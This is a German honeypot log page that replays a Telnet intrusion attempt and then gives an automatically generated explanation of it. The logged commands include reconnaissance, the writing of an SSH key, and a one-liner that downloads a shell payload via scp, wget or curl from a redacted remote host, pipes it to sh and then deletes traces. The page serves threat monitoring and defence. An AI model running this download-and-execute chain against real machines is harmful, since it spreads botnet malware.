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Mitschnitt

Telnet-Angriff aus Indien: Schadcode nachladen und Benutzerliste auslesen

29.09.2026, 08:18 UTC · 16 Befehle · über telnet · Indien

Überblick

Dienst
telnet (Port 23)
Herkunft
Indien · DigitalOcean, LLC
Probierte Zugangsdaten
admin / admin

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgefuehrt wurde nie etwas
admin@srv01: ~

admin@srv01:~$ id
admin@srv01:~$ cat /etc/passwd
admin@srv01:~$ echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List
admin@srv01:~$ enable
admin@srv01:~$ system
admin@srv01:~$ shell
admin@srv01:~$ sh
admin@srv01:~$ bash
admin@srv01:~$ cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
admin@srv01:~$ [Token]
admin@srv01:~$ [Token]
admin@srv01:~$ [Token]
admin@srv01:~$ [Token]
admin@srv01:~$ [Token]
admin@srv01:~$ -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
admin@srv01:~$ UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk [E-Mail]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://[IP]/sh || curl -sk https://[IP]/sh) | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\…
bash: enable: no such builtin function
bash: system: command not found
bash: shell: command not found
sh: 0: Illegal option -
bash: cd: /dev/shm: No such file or directory
bash: key.ppk: Permission denied
bash: sshcfg: Permission denied
bash: chmod: Permission denied
bash: scp: command not found
bash: wget: command not found
bash: curl: command not found
bash: rm: Permission denied
redbot_telnet_ok

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Der Angreifer meldete sich über Telnet mit Standardzugangsdaten an und prüfte die Systemidentität sowie die Benutzerliste. Anschließend versuchte er, durch Eingabe von Shell-Befehlen eine interaktive Umgebung zu erzwingen. Er erstellte eine SSH-Schlüsseldatei und eine Konfigurationsdatei im temporären Verzeichnis. Danach versuchte er, eine Payload-Datei über SCP oder HTTP von einem externen Server herunterzuladen und auszuführen.

Was die Befehle bewirken

Die Befehle id und cat /etc/passwd dienen der Aufklärung über Benutzerrechte und Systembenutzer. Die Eingabe von enable, system und shell versucht vergeblich, in privilegierte Modi oder eine echte Shell zu wechseln. Der lange Block schreibt einen privaten SSH-Schlüssel und eine SSH-Konfiguration, die Host-Prüfungen deaktiviert, um Man-in-the-Middle-Angriffe zu vermeiden. Die letzten Befehle nutzen scp oder wget, um eine Datei namens out_sh vom Angreifer-Server zu laden und sie mit sh auszuführen, was die eigentliche Malware-Installation darstellt.

Worauf es hinauslief

Das Ziel war die Installation einer Backdoor oder eines Botnet-Agents auf dem kompromittierten System. Dies wird durch den Versuch deutlich, eine externe Skriptdatei herunterzuladen und sofort auszuführen. Der Einsatz eines vorab generierten SSH-Schlüssels deutet darauf hin, dass der Angreifer persistente Fernzugriffe für spätere Operationen wie Kryptomining oder Datenabfluss vorbereiten wollte.

Einordnung

Dieses Muster ist extrem verbreitet und stammt oft von automatisierten Botnet-Scannern, die nach IoT-Geräten oder schwach gesicherten Linux-Servern suchen. Die Kombination aus Standard-Passwörtern und dem Versuch, Skripte über SCP oder HTTP zu laden, ist ein Standardverfahren in der Malware-Familie Mirai oder ähnlicher Varianten.